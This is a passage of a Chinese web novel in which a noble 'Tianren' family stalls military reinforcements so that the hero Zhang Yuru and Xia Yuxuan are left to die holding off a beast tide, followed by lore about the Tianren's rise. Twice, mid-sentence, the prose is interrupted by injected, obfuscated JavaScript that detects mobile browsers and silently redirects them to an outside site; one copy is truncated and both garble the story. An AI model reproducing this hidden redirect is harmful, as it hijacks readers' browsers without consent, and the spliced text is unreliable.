她行走时,身姿摇曳生姿,丰满的臀部随着步伐微微摆动,如同风中拂柳,带着一种成**性独有的风韵。 旗袍两侧的开衩在迈步间轻轻开合,偶尔露出一截白皙圆润的小腿,肌肤在风沙中更显细腻,晃得那些常年驻守边疆、连个母蚊子都少见的铁血汉子们心头阵阵发痒。 这般与营地肃杀氛围格格不入的妩媚风情,杀伤力对这些气血方刚的士兵而言,简直堪比最凌厉的武器。 但所有人都只是匆匆一瞥便立刻收回目光,没人敢有半分轻佻的举动。 只要不是傻子都能看出,这个能让副参谋长与部队司令都紧随其后的贵妇人,身份绝非普通的家属或访客。 她眉宇间虽带着笑意,眼神却锐利如锋,扫过营地时带着一种不容置疑的审视感,举手投足间的气场更是压过了身边的一众军官。 这位身着旗袍的神秘女子,一边听着身旁军官的汇报,一边偶尔抬手指出营地布置的细节,声音不高,却总能切中要害。 她的出现,让这场本就不寻常的视察更添了几分耐人寻味的意味——能让如此多的高层陪同,又能在守卫部队营地中从容指点,她的身份,恐怕比所有人想象的还要尊贵。 而士兵们在激动与紧张之余,心中也悄然升起一丝疑惑:这位大人物的突然到访,是否与近期前线传来的异动有关? 与那些只知列队迎检的士兵不同,副参谋长萧梁武的心头始终压着一块巨石。 他自然清楚自然教会反扑的消息有多凶险——前线传回来的加密情报里,每一个字都透着血色与危机,那片被异兽狂潮淹没的雪域高原,早已成了他日夜牵挂的战场。 实际上,早在三天之前,他就已带着直属部队完成了战前集结,武器、**、后勤补给全部清点完毕,连奔赴前线的行军路线都推演了三遍,只等一声令下便能即刻开拔。 然而,这位身着旗袍的贵妇人出现后,所有部署都被按下了暂停键。 原本整装待发的部队突然接到原地安营扎寨的命令,帐篷刚刚拆除又重新搭建,发动机预热的战车熄了火。 萧梁武去找上级询问,得到的却只有一句含糊的答复:“配合好天人家族的贵客,完成检阅任务,其他事不必多问。” 这三天里,他几乎成了这位贵妇的专职陪同。从主力作战部队到后勤保障营,从装甲战车集群到空中侦察分队,他们走遍了整个益州西部防区的大小营地。 每到一处,他都得陪着对方站在高台上,看着士兵们踢正步、喊口号,听着身边的贵妇用那清脆却毫无温度的声音夸赞“精神可嘉”。 他甚至能背出对方检阅时的固定说辞,连那些被阳光晒得发亮的武器装备,在他眼中都失去了往日的锋芒,只剩下机械的陈列感。 若是放在平日里,萧梁武其实并不排斥这样的场合。 他出身行伍,最清楚士兵们需要被看见、被认可,一次认真的检阅或许能提振士气,让那些驻守边疆的汉子们觉得自己的付出没有被遗忘。 他也乐于借此机会检查各部队的精神面貌,从士兵们的眼神里判断他们的战备状态。可现在,每一次抬手敬礼、每一次陪同巡视,都让他如坐针毡。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我是北斗院夏雨萱!”对方的声音陡然拔高,带着压抑不住的怒火,“我以北斗院的名义与你们对话!为什么到现在还没有支援抵达前线?你们难道没有收到求援信号吗?!” 萧梁武眉头紧锁,北斗院的名号他自然听过,可战场之上身份难辨,不能仅凭一句话便轻信。 他按住通信兵的手,亲自开口,声音冷硬如铁:“军事机密,无可奉告。” 他必须谨慎——对方知道秘密电台频率或许是真,但在未核实身份、未接到上级指令之前,任何关于部队部署的信息都不能泄露。 “无可奉告你奶奶的头!”扬声器里瞬间爆发出更激烈的怒吼,夏雨萱的声音因愤怒而微微颤抖。 “你们这群尸位素餐的废物东西!是你妈给你生了个黑弟弟,还是你爸想开了决定自宫当太监了,让你在这磨磨蹭蹭说什么无可奉告?!”粗鄙的咒骂如同冰雹般砸出,电台室里的气氛瞬间凝固。 通信兵吓得手一抖,差点碰掉耳机,连几位陪同的军官都忍不住变了脸色——敢这样辱骂军区高层的,他们还是头一次见。 “我告诉你们这群废物!”夏雨萱的声音带着难以掩饰的疲惫,却依旧尖锐如刀。 “我们已经挡了异兽四天四夜!张玉汝快撑不住了!你们再不来支援,等防线破了,异兽冲进益州腹地,到时候出现的一切问题,你们一个个都他妈逃不了!” “滋啦——”话音未落,电台便被粗暴地切断,只留下刺耳的电流杂音在室内回荡。 萧梁武的脸色铁青,额角的青筋突突直跳。 从军几十年,他还是头一次被人这样指着鼻子痛骂,可那骂声里的愤怒,却像针一样扎在他心上。 他比谁都清楚前线的凶险,比谁都想立刻带着部队杀过去。 他猛地转头看向叶夫人,眼神里带着压抑的质问。 而那位身着旗袍的贵妇人,脸上却依旧挂着淡淡的笑容,只是那笑容未达眼底,反而透着几分近乎残忍的平静。 她轻轻抬手,指尖划过电台室冰冷的墙壁,声音轻飘飘的,却像一道无形的枷锁:“萧参谋长,稍安勿躁。天人家族的决策,从来都不会错。” 这句话,彻底浇灭了萧梁武心中最后一丝侥幸。 他知道,只要这位叶夫人不点头,就算前线骂声震天,就算异兽真的冲破防线,他们也只能像现在这样,被困在这座安全的营地里,做一个“尸位素餐”的废物。 第 121章 身不由己 “妈的,一群垃圾!和这样的虫豸在一起,怎么可能搞得好任务!”夏雨萱一把拍掉通讯器上的灰尘,怒骂声里满是咬牙切齿的怒火。 电台里那句冰冷的“无可奉告”,像一根火柴点燃了她积压四天的焦躁,连带着对那些远在后方、隔岸观火的“大人物”的鄙夷,全都化作了此刻的滔**意。 她猛地转身,重新握紧了腰间的武器,眼中闪烁着近乎疯狂的光芒,朝着再次涌来的兽群嘶吼:“受死吧,畜生们!”或许是心里的怒火给了她无穷的力量,夏雨萱这一次出手再无保留。 她双手快速结印,脚下的冻土瞬间裂开细密的缝隙,紧接着,汹涌的水流如同从地底唤醒的巨兽,“哗”地一声喷涌而出,转瞬间便在她身前汇聚成一条宽度足有五十米的大河。 浑浊的河水裹挟着冰碴与碎石,带着雷霆万钧的气势向前奔腾,所过之处,空气都被水汽染上了刺骨的寒意。 这道怒涛仿佛一块巨大的橡皮擦,蛮横地擦过战场——那些密密麻麻、组成黑暗地带的异兽群,在洪流面前根本不堪一击。 体型较小的异兽直接被水流卷走,在空中划过绝望的弧线;体型庞大的重甲异兽则被洪流正面冲击,庞大的身躯在水流中踉跄摇晃,最终失去平衡被卷入河底,骨骼碎裂的闷响混杂在水声中此起彼伏。 不过瞬息之间,兽群最密集的区域便被硬生生撕开一道宽阔的缺口,露出了后方暂时空旷的土地。 但似乎击溃这一小片异兽还不足以宣泄心中的怒火。 夏雨萱脚尖一点,身形轻盈地落在一块漂浮的冰块上,随着洪流一同向前奔涌。 她双手虚握,仿佛在操控着无形的画笔,而那条奔腾的大河便是她的颜料——时而让水流骤然拔高,化作数十米高的水墙,将试图绕后的异兽狠狠拍扁在岩壁上。 时而让水流突然转向,如同灵活的巨**,追着逃窜的异兽群蜿蜒前行,将它们一个个拖入冰冷的漩涡。 时而又让水流凝聚成锋利的冰锥,密密麻麻地射向高空,将俯冲的飞行异兽钉在雪地上。 她就像一个在画板上肆意涂抹的孩童,带着不管不顾的宣泄欲,让这条怒涛大河在战场上横冲直撞。 水花四溅,冰碴纷飞,每一次水流的暴涨都伴随着异兽的哀嚎,每一次河道的转向都意味着一片兽群的覆灭。 黑色的兽潮在她的怒火面前不断退缩、溃散,而夏雨萱的身影在洪流之上起伏,发丝被水汽打湿,眼神却亮得惊人——既然后方的支援指望不上,那就用这些畜生的鲜血,来浇灭心中的怒火,来守住这最后的防线! 河水奔腾的轰鸣盖过了兽群的嘶吼,也暂时盖过了她对后方的失望与愤怒。 此刻的夏雨萱,就是这怒涛的主宰,用最原始的力量,在绝望的战场上撕开一道属于自己的生机。 夏雨萱掀起的怒涛洪流如同锋利的楔子,狠狠扎进异兽群的腹地,暂时逼退了左翼的攻势,为张玉汝分担了近半的压力。 他得以从四面**的困境中脱身,身形在兽群中如同鬼魅般来回穿插,黑白神光所过之处,异兽纷纷倒地。 但即便如此,远方的地平线上依旧不断涌现新的黑影,仅凭他们两人的力量,终究是螳臂当车,拦不住这无穷无尽的兽潮入侵。 由于刚才全神贯注地操控阴阳之力绞杀异兽,张玉汝并未留意夏雨萱与后方的通讯。 此刻见她驾驭着洪流时眼神里的怒火比水流更盛,连挥出的冰锥都带着咬牙切齿的力道,不由得在避开一头异兽冲撞的间隙开口询问:“出什么事了?这么生气。” 夏雨萱本想把电台里那些“无可奉告”的混账话连同对那群废物的咒骂一股脑泼出来,但话到嘴边又咽了回去。 她深吸一口气,操控着水流将一只试图偷袭的异兽冻成冰雕,语气低沉地陈述事实:“我们大概等不到增援了。” “哦,这样吗。”张玉汝点点头,语气平静得仿佛只是听到了一句天气预告。 他旋身避开酸液喷吐,反手一掌拍在身后异兽的头颅上,伴随着骨裂声,又捏碎了一只异兽的心脏,动作行云流水,丝毫不见波澜。 “你早就知道了?”夏雨萱看着他这副无波无澜的模样,不由得愣住了,连操控水流的力道都顿了半分,“还是你从一开始就没指望过他们?” “没有。”张玉汝一边踢飞扑来的异兽,一边随意地说道,“只是倒霉的事遇到的多了,慢慢就习惯了。” 历过强杀白镜时的生死一线,承受过生命力透支后的苍老反噬,见识过种种荒诞,张玉汝的心理承受能力早已在一次次磨砺中变得异常坚韧。 那些突如其来的变故、意料之外的发展、机械降神一样的剧情,他见得太多了,多到足以让他在任何坏消息面前都保持冷静。 其实从踏入这片土地开始,他就做好了最坏的打算——孤军奋战,直至力竭。 现在不过是最坏的情况如期而至,既没有意外,也谈不上失望。 “好吧,算你厉害。”夏雨萱看着他平静的侧脸,到嘴边的抱怨突然就没了力气,只剩下一种无奈的苦笑。 在这种绝境里,能有人保持如此清醒的冷静,或许也是一种支撑。 但一想到电台里那些冰冷的声音,想到后方那些安坐营帐却见死不救的“大人物”,她又忍不住咬了咬牙,眼神重新燃起怒火:“那群该死的畜生!他们就不怕北斗院事后追究吗?就不怕我们真的挡不住,异兽冲进益州之后,他们担得起这个责任?” 张玉汝没有回答,只是将一道凝聚的白光弹向她身后的盲区,精准击落一只偷袭的飞行异兽。 他知道追究责任是后事,而眼下最重要的事,是在“后事”到来之前,先活下去。 黑白神光在他周身流转得更快,每一次出手都更加果决——既然没有增援,那就把自己的力量用到极致。 洪流依旧奔腾,神光依旧闪烁,在这片看不到援军的战场上,两个身影背靠背站得更紧了。愤怒也好,平静也罢,都化作了此刻最坚定的战力,对抗着前方无尽的黑暗。 电台室里的电流杂音尚未完全消散,萧梁武便忍不住转向叶夫人,语气带着难以掩饰的焦虑:“叶夫人,虽然我无法百分百核实对方身份,但也不能排除她真的来自北斗院。” 他顿了顿,目光凝重地盯着对方,“如果我们对此置之不理,万一前线真的出事,北斗院事后追究起来,恐怕不好收场。” 对于这个问题,叶夫人只是轻轻拨了拨手上的扳指,嘴角勾起一抹浅淡的笑意,眼神却带着几分居高临下的从容:“萧参谋长,看来你对天人家族的实力还不够了解。” 她伸出纤细的手指,轻轻点了点电台的外壳。 “把心放到肚子里,北斗院那边的问题,自然会有人去解决。” 这轻描淡写的回答让萧梁武愈发不安。 他深吸一口气,继续追问道:“那异兽呢?就算对方身份存疑,前线的兽潮可是千真万确!如果不及时派兵布防拦下它们,一旦突破防线冲进益州腹地,数千万民众的安危怎么办?难道要让他们暴露在异兽的獠牙之下吗?” “萧参谋长,你的话有些太多了。”叶夫人脸上的笑容骤然收敛,语气瞬间冷了下来,如同西伯利亚的寒风刮过。 萧梁武只觉得一股刺骨的寒意从骨头缝里渗出,仿佛被无形的锋芒锁定,连呼吸都不由得一滞。 但这冰冷的气场仅仅持续了一瞬,叶夫人的表情便又恢复了温和,仿佛刚才的冷冽从未出现过。 她缓声道:“放心吧,天人叶家早已做好部署——十名宗师级能力者,外加三十名大师级能力者,此刻已经在边境线待命。有他们驻守,那些异兽绝对冲不破这道防线,益州的安全不会有任何问题。” 话说到这份上,萧梁武便知道再争辩也无济于事。 他在心中无声地哀叹一声,只能垂下眼帘,不再多言。 他太清楚这里面的门道了。 正所谓**嘴软,拿人手短,天人家族掌控的先导会对地方的投资向来不遗余力——从武器研发到部队后勤,从基础设施到人才培养,处处都有天人的影子。 也正因 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萧梁武望着窗外飘扬的军旗,只觉得那鲜红的颜色刺得人眼睛生疼——他守着庞大的部队,却只能眼睁睁看着前线孤立无援,而这一切,仅仅因为那位旗袍贵妇口中的“部署”与“放心”。 这便是天人的份量——在这片土地上,他们总能提前嗅到风雨的气息,掌握着常人难以企及的信息与资源。 早在益州守卫部队收到前线警报的数天前,天人家族便已通过遍布各地的情报网络,洞悉了自然教会囤积异兽、准备反扑的全盘计划。 甚至在自然教会正式掀起兽潮之前,他们的核心决策层就已坐在温暖的议事厅里,看着加密文件中的异兽种类、规模与部署路线,冷静地制定着应对策略。 他们同样清楚元天成的动作——知道那位深居简出的泰斗破例现身,保下了本应身死的张玉汝,更知道元天成给这个年轻人布置了抵挡异兽入侵的任务。 这层关系如同一条无形的红线,让天人投鼠忌器——元天成的面子不能不顾,直接派人截杀张玉汝,无异于公开撕破脸,这是他们不愿承担的风险。 但“不能直接出手”,不代表“不能间接出手”。 阻碍增援,便是天人精心选择的“间接手段”。 他们不动声色地压下前线的求援信号,以“检阅部队”“战略部署”为由拖住本应驰援的部队,让张玉汝与夏雨萱在雪域高原陷入孤立无援的境地。 他们算准了兽潮的强度,也清楚张玉汝即便能力出众,在连续高强度厮杀下必然精力透支——只需稍稍“延迟”支援,便能让这个碍眼的年轻人“顺理成章”地死在任务中,既除了隐患,又不会脏了自己的手。 为了让这场算计显得天衣无缝,也为了避免元天成事后问责时抓不到把柄,天人们早已布下后手。 那十名宗师级能力者与三十名大师级能力者组成的豪华阵容,名义上是“防御异兽冲击”,实则暗藏双重目的:一方面,他们能在张玉汝死后迅速接手防线,将异兽挡在益州之外,确保“大局稳定”,证明天人“早有准备”。 另一方面,这股力量也像一张无形的网,牢牢罩住了张玉汝的退路,即便张玉汝想要逃跑,也会撞上这道由天人掌控的关卡,插翅难飞。 这是元天成与天人之间心照不宣的默契,是强者之间无需明说的规则。 就像天人不能不顾元天成的面子直接动手一样,元天成也不能完全干涉天人在世俗的布局——彼此都需要给对方留出“操作空间”。 若张玉汝真的死在兽潮之中,元天成或许会惋惜,却不会为此与天人彻底翻脸。毕竟“任务凶险、意外身亡”本就是常事,他总不能为了一个人与庞大的天人家族**。 而如果张玉汝能在这种绝境中活下来,完成任务冲出重围,那便意味着他通过了“考验”,也证明了元天成的眼光——届时天人再想动手,便要掂量掂量元天成可能的反应。 当张玉汝正在浴血奋战的时候。远在七百公里外的营地中,叶夫人正优雅地端起茶杯,目光透过窗户望向边境的方向,仿佛在等待一场早已写好结局的戏剧落幕。 第 122章 太阳底下没有新鲜事(上) “成年人的世界只筛选,不培养。”张玉汝已经记不清是在哪个黄昏、哪本旧书里见过这句话。 此刻身处异兽狂潮之中,感受着体内逐渐枯竭的能量与无处不在的杀机,他忽然觉得,自己的处境就是对这句话最残酷的写照。 元天成对他或许确实有过几分兴趣——对他在绝境中爆发出的潜力,对他体内那套阴阳平衡的道途,对他身上那股不服输的韧性。 但这份兴趣,从未上升到“培养”的层面。 这位泰斗级能力者从不是会为了人情债便耗费心血雕琢晚辈的角色。 在他出手从白磬手下救下张玉汝的那一刻,那份欠姜南云的人情便已一笔勾销。 没有拖泥带水,没有额外的关照,干净利落得如同斩断一根丝线。 而后续给予张玉汝应对兽潮的选择,不过是元天成抛出的一次无声筛选。 这筛选简单而直接:能在天人布下的死局中活下来,能在没有增援的绝境中完成任务,便证明张玉汝有成为“潜力股”的价值。 届时,元天成才会考虑为他投入更多资源,甚至不惜为了这个“值得投资”的后辈,与天人那张庞大的关系网正面碰撞。 毕竟,对泰斗级能力者而言,真正的人才远比一时的和气更重要。 可如果张玉汝通不过这场筛选,倒在了兽潮之中呢? 那也无妨。元天成不会有半分损失——既还清了人情,又让天人通过这种“间接手段”发泄了对张玉汝的不满,最后还能借用天人早已部署在边境的力量守住益州。 无论哪种结果,他都稳坐钓鱼台,永远不会亏。 这便是泰斗级能力者的世界。 众生如棋,棋盘上的棋子们或挣扎、或嘶吼、或牺牲,都不过是棋手指尖轻拨的结果。 元天成坐在那常人无法企及的高度,俯瞰着雪域高原上的厮杀,如同看着棋盘上一次普通的攻防。 他有这样的实力,更有这样的底气——天下的规则本就是由他们这样的掌控者制定,棋子的命运,从来都不在自己手中。 或许有人说元天成冷漠,说他视人命如草芥。可只有真正站在他那个位置的人才懂,这份“冷漠”并非天生。 他也曾见过热血与理想,也曾为了守护而拼尽全力,只是历尽千帆、看过太多兴衰更迭后,心中的波澜早已被岁月磨平。 对他这种活了太久的存在而言,为了个别陌生人的生死而动“意气之争”,早已是太过奢侈的情绪。 更何况,张玉汝与他之间本就没有太深的联系。 没有师徒情谊,没有家族羁绊,甚至连像样的交集都寥寥无几。 他救张玉汝是为了还人情,给张玉汝任务是为了做筛选,这一切都基于最理性的权衡,无关偏爱,更无关怜悯。远方的兽潮还在涌来,张玉汝的身影在血与火中沉浮。 而元天成的目光,早已越过这场厮杀,投向了更遥远的棋局——那里有天人的布局,有北斗院的动向,有天下格局的暗流涌动。 至于这枚名为“张玉汝”的棋子最终是活是死,不过是棋局中一次微不足道的落子罢了。 对于增援迟迟未至的蹊跷,对于背后可能牵扯的天人算计,张玉汝并非一无所知。 以他这些年在刀尖上行走的警觉,早已隐约猜到了几分——那些盘踞在权力顶峰的家族,从不会错过任何一个借刀**的机会。 在他心底那串仇人名单上,自然教会的白磬与神州国的天人们,始终占据着并列的位置。 一个是直接挥刀相向的仇敌,一个是暗藏杀机的隐患,两者都让他不敢有半分轻视。 因此,这些年除了全力搜集自然教会的动向情报,他对于天人的势力分布、行事风格乃至内部矛盾,也从未停止过搜集。 其实在混乱之地,获取这类信息的难度真的算不上高。 这里没有神州国境内严密的信息管控,金钱往往能撬开最严实的嘴。 只要舍得给出足够的报酬——无论是稀缺的能量晶体、实用的武器零件,还是能快速恢复伤势的药剂,总能从黑市商人、佣兵头领或是落魄的情报贩子口中,买到关于天人的零散消息:他们如何通过先导会渗透地方势力,如何用资源扶持代理人,又如何不动声色地清除异己。 若是不想花这笔“冤枉钱”,还有更市井的办法——去那些鱼龙混杂的酒馆蹲上几晚。 昏暗的灯光下,喝得酩酊大醉的能力者们总会唾沫横飞地吹嘘自己的经历,其中十句里有九句是添油加醋的扯犊子:比如“我曾单枪匹马闯进天人的秘密基地”“我见过天人长老的真面目”之类的狂言。 但只要耐心筛选,总能从这些醉话的缝隙里淘出几分有用的信息——或许是某次天人商队的路线,或许是他们某位核心成员的禁忌,又或许是他们与其他势力的明争暗斗。 这些碎片化的信息,如同拼图般在张玉汝脑中慢慢成型,勾勒出天人家族庞大而阴冷的轮廓。 这种“混乱之地易获情报”的现象,其实不难理解。 在神州国境内,先导会与天人的力量早已渗透到各个角落,他们掌控着媒体、通讯乃至基层的信息渠道,那些对他们不利的消息、揭露他们阴暗面的言论,往往刚一出现就会被迅速压制、删除。 普通人能接触到的,永远是经过筛选的“安全信息”,想要穿透这层无形的屏障获取真相,难度无疑会大大提高。 可混乱之地不同。这里是秩序的边缘,是规则的盲区,金钱与实力远比“权威”更有话语权。 混乱之地从不存在“信息封锁”的问题。 这片横跨数国边境的三不管地带,本就是出了名的秩序真空区,神州国的天人、西方的教会分支、南边的部落联盟……几乎每个国家和大型势力都在这里安插了眼线、据点甚至武装力量,彼此犬牙交错,形成了诡异的制衡。 理论上,这些分散的力量若是能暂时放下分歧统一起来,或许真能在混乱之地重塑秩序,建立起一套新的规则。 但这种想法纯属天方夜谭——这帮家伙本就因利益纠葛相互攻讦了数千年,明里暗里的冲突从未停过,恨不得把对方的老底都掀出来打个狗脑子开花。 每天占据情报贩子头条的,永远是“某势力仓库被偷袭”“某代理人**身亡”之类的黑料,以及各方为了泼脏水而故意放出的对手秘闻。 想让他们坐下来合作?简直比让异兽吃素还科幻。 而张玉汝,恰恰得益于这种“狗咬狗”的友好氛围。 各方势力为了打击对手,总会有意无意地泄露一些对方的机密,哪怕是捕风捉影的传闻,也足够让他从中筛选出有用的信息。 时间久了,他甚至听了一肚子各国的奇闻异事——比如听说巴拉特国的某个部落里,有人对巨蜥异兽行不轨之事,最后被暴怒的兽群追了三天三夜。 又比如北方冻土国的贵族,喜欢用异兽的精血酿造烈酒,喝多了会浑身长满鳞片。 这些荒诞的故事虽然足够让人津津乐道,能在酒馆里换几杯免费的劣质烧酒,但张玉汝真正上心的,始终是那些关乎势力布局的“正事”。 他把从黑市商人、佣兵头领、甚至俘虏口中得来的碎片信息一一记录,用不同颜色的笔迹标注可信度与关联线索,再对着简陋的地图反复推演。 久而久之,一些模糊的轮廓渐渐清晰。 此刻在雪域高原上厮杀,张玉汝脑中闪过的不仅是眼前的异兽,还有那些从混乱之地搜集来的关于天人的情报——他们行事向来“结果导向”,为了清除隐患从不介意牺牲棋子;他们最擅长用“正当理由”掩盖真实目的,就像这次拖延增援一样。 这些认知让他更加冷静,也更加决绝。 张玉汝在梳理情报时,首先理清的便是一个关键认知:先导会与天人并非神州国独有的产物。 它们更像是黑暗时代留给人类文明的“全球标配”,只是在不同国家、不同文化中,有着不同的名号与表现形式。 在那个异兽横行、文明濒临断绝的黑暗时代,人类之所以能在废墟中重建秩序、最终确立九大国的格局,各类“先导会”性质的组织起到了极为关键的作用。 它们或是最早掌握觉醒力量的团体,或是整合了残存科技与资源的联盟,在对抗异兽、收拢幸存者、建立聚居点的过程中,成为了人类文明的“灯塔”。 神州国将组织称为“先导会”,而在其他大国,它们的名号则充满了本土文化印记:西方大陆的“**”以宗教感召凝聚人心,中亚草原的“圣火教”传承着古老的元素力量,南美雨林的“羽蛇教”则融合了部落图腾与超凡能力…… 虽然名称各异,却都承担着“引 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16132118|179243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 领存续”的核心职能。 而“天人”的存在,则比先导会更为古老。 在黑暗时代降临之前,部分人类便已觉醒了超越常人的力量,他们或是寿命远超凡人,或是能操控自然伟力,成为了早期人类对抗危机的“超凡支柱”。 随着九大国确立,这些超凡者逐渐形成了特殊的阶层,在神州国被称为“天人”,在其他国家同样有着对应的称谓:西方**麾下的“圣子”,被认为是神的代言人;巴拉特国的“婆罗门”,依托种姓制度传承着古老的能量秘法。 北方冻土国的“神子”,则与冰雪之力有着神秘的联结……这些称呼背后,是同样的本质——拥有强大力量、占据特殊地位的超凡精英阶层。 尽管名称千差万别,但各国的“先导会”性质组织,无一例外都是该国最庞大的势力。 它们掌握着核心的超凡传承、尖端的科技资源与庞大的人脉网络,甚至能直接影响国家决策。 在神州国,先导会与天人深度绑定,形成了“以超凡力量为根基、以资源垄断为纽带”的权力结构。 在其他国家,**、圣火教等组织同样如此,既是超凡力量的掌控者,也是世俗秩序的隐形操盘手。 而各国“天人”确立地位的过程,虽因文化背景不同而细节各异——有的依靠血脉传承,有的通过严苛试炼,有的则凭借宗教加冕——但总体方式却高度统一。 以绝对的力量为基础,以对国家或组织的贡献为阶梯,最终形成凌驾于普通民众之上的特殊阶层。 他们无需参与日常的生产劳作,却能享受最优质的资源;他们很少直接出现在公众视野,却能在关键时刻决定一个国家的走向。 这些从混乱之地搜集来的情报,让张玉汝对自己的对手有了更宏观的认知。 天人并非神州国的“特产”,而是全球超凡文明发展到一定阶段的必然产物;先导会的霸权也并非孤例,而是各国在黑暗时代后形成的普遍权力模式。 这种认知让他明白,自己面对的不仅是神州天人的针对,更是一种根深蒂固的超凡秩序——而想要打破这种秩序,仅凭一时的血气之勇远远不够。 此刻,雪域高原的风更冷了,兽群的嘶吼也更急了。 但张玉汝的眼神却愈发清明,那些梳理清晰的情报如同冰冷的火焰,在他心中燃烧——他不仅要在这场兽潮中活下去,更要弄明白,这些横跨全球的“天人”与“先导会”,究竟在守护着什么,又在惧怕着什么。这或许,比单纯的复仇更重要。 虽然自己的敌人是这种庞然大物,但张玉汝并非没有反击的机会。 其实在超凡力量刚刚介入人类文明的早期,天人与先导会之间的联系远没有如今这般紧密,甚至可以说,两者曾是两条相对独立的发展脉络。 早期的先导会,更像是一群“草根英雄”的集合。 其核心成员大多是在黑暗时代的绝境中自我觉醒的普通人——或许是某个在异兽爪下爆发出力量的农夫,或许是某个掌握了残缺科技的工程师,又或是某个能感知能量流动的医者。 他们没有天生的超凡血脉,力量的觉醒往往伴随着剧痛与风险,却带着最朴素的目标:活下去,保护更多人。 而追随他们的,更是无数渴望生存的普通人,有战士、有工匠、有学者,大家凭着信念与热血凝聚在一起,在废墟上建立据点,研究对抗异兽的方法,这便是先导会最初的模样。 而天人们,则从一开始就站在超凡力量的顶端。 他们无需经历痛苦的觉醒仪式,也不必在生死边缘挣扎悟道——在诞生的那一刻起,强大的能力便如同呼吸般自然而然地涌现。 有的天生能操控雷电,有的肉身强度堪比异兽,有的甚至能预知短时间的未来。 这种“与生俱来”的强大,让他们在早期人类对抗异兽的战争中占据了绝对优势,成为了传说中“神明般的存在”。 在很长一段岁月里,先导会的力量都远远无法与天人抗衡。单个天人的战斗力,往往能抵得上一个先导会的精英小队;天人们掌握的古老传承与能量运用技巧,更是先导会成员需要耗费数十年才能摸索出的皮**。 那时的天人,更像是游离于普通人之外的“观察者”,偶尔出手帮助人类击退致命危机,却很少真正融入先导会的组织体系。 第 123章 太阳底下没有新鲜事(下) 然而,“数量”最终成为了打破平衡的关键。 天人的强大固然令人敬畏,但其数量却始终稀少——血脉的传承限制、严苛的生育条件,让他们的种群规模始终维持在极低的水平,甚至有时几十年都难以诞生一位新的天人。 与之相对的是,普通人的数量如同燎原之火般不断壮大。 黑暗时代虽残酷,却也催生了更多的觉醒者,而先导会凭借着开放的吸纳机制,将这些觉醒者、工匠、学者乃至普通民众不断纳入麾下。 在持续的发展中,先导会内部逐渐涌现出一批惊才绝艳的人物。 他们或许没有天人那般天生的强大,却有着惊人的悟性与韧性——有人从异兽的能量波动中悟出新的战斗技巧,有人将古老的武学与超凡力量结合创造出新体系,有人则通过科技手段强行提升能力者的实力。 这些“后起之秀”虽然个体力量可能仍不及顶尖天人,但其数量庞大、配合默契,再加上先导会掌握的资源整合起来,整体力量开始飞速追赶。 这些人在实战中不断成长,硬生生靠着集体智慧与牺牲精神,将异兽从城市废墟中赶走,一步步夺回了人类的生存家园。 可当战线推进到异兽盘踞的核心区域时,先导会的攻势还是不可避免地陷入了停滞。 他们能依靠人数优势守住已收复的土地,却很难对异兽的巢穴发起致命一击——顶级战力的缺失成了最大的短板。 十名、百名甚至千名普通能力者的牺牲,或许才能换得一头高阶异兽的死亡,这种代价让任何推进都变得举步维艰。 恰恰就在这个时候,天人们与先导会的高层开始了接触。没人知道那些协商交流的具体细节,只知道过程充满了曲折与博弈——先导会希望天人能投入更多力量参与核心战场,而天人则要求在战后秩序中获得更高的话语权;普通人渴望平等的资源分配,而天人则坚持“力量决定地位”的法则。 最终,双方还是达成了合作。 天人派出顶尖战力协助先导会突破异兽防线,而先导会则承认了天人的特殊地位,将最优质的资源、最安全的领地优先分配给他们。 这种合作确实加速了黑暗时代的终结,让人类得以在废墟上重建国家,但也为后来的权力格局埋下了伏笔——天人借助先导会的组织架构渗透进世俗权力,而先导会则依靠天人的力量巩固了统治,两者相互绑定,形成了如今这套看似稳固、实则暗流涌动的体系。 张玉汝避开一头异兽的冲撞,指尖凝聚的白光瞬间穿透了对方的头颅。 他想起这段历史,眼神中闪过一丝明悟:天人与先导会的联盟,从一开始就建立在“利益交换”而非“信念共鸣”的基础上。 既然有合作,就必然有分歧;既然有博弈,就必然有裂痕。 或许是资源分配的矛盾,或许是权力归属的争夺,或许是对“人类未来”的不同理解……这些隐藏在平静之下的暗流,正是他这样的“局外人”可以利用的机会。 兽潮依旧汹涌,但张玉汝的心中却燃起了一丝微光。他面对的或许是庞然大物,但这头巨兽并非无懈可击。 只要找到那道最脆弱的裂痕,哪怕力量微薄,也未必没有撼动它的可能。 在天人加入先导会后,那道困扰人类许久的“顶层战力缺口”终于被填补。 天人们以碾压性的力量撕开异兽最坚固的防线,先导会的普通能力者与民众则紧随其后稳固战果,两者联合形成的洪流,最终将异兽从大陆腹地彻底赶了出去。 人类在废墟中升起炊烟,重建城市,一点点走出了黑暗时代的阴霾,而天人们也在这场胜利中彻底确立了不可动摇的特殊地位。 若要做个贴切的类比,此时的天人们恰似上古时期的世家大族——他们参与了新秩序的创建,在血与火的洗礼中攫取了足够多的利益:最肥沃的土地、最核心的资源、最安全的聚居点,以及对超凡力量传承的绝对掌控权。 他们不再是单纯的“战力提供者”,而是成为了人类社会的“特权阶层”。 随着时代发展,这些占据关键位置的巨头们愈发默契地联合起来,形成了一道无形的壁垒。 他们用资源倾斜、规则制定、信息封锁等手段,不断排挤那些非“自己人”的崛起者——普通觉醒者即便天赋出众,也很难获得平等的成长机会;有潜力的民间势力,往往会被以“不符合秩序”为由打压。 在数千年甚至上万年的漫长时光里,只有极少数惊才绝艳的天才,能凭借一己之力突破这道壁垒,达到让天人们不得不平等视之的高度,而这些人最终大多也会被“招安”——或多或少接受天人的资助,成为体系内的“特例”。 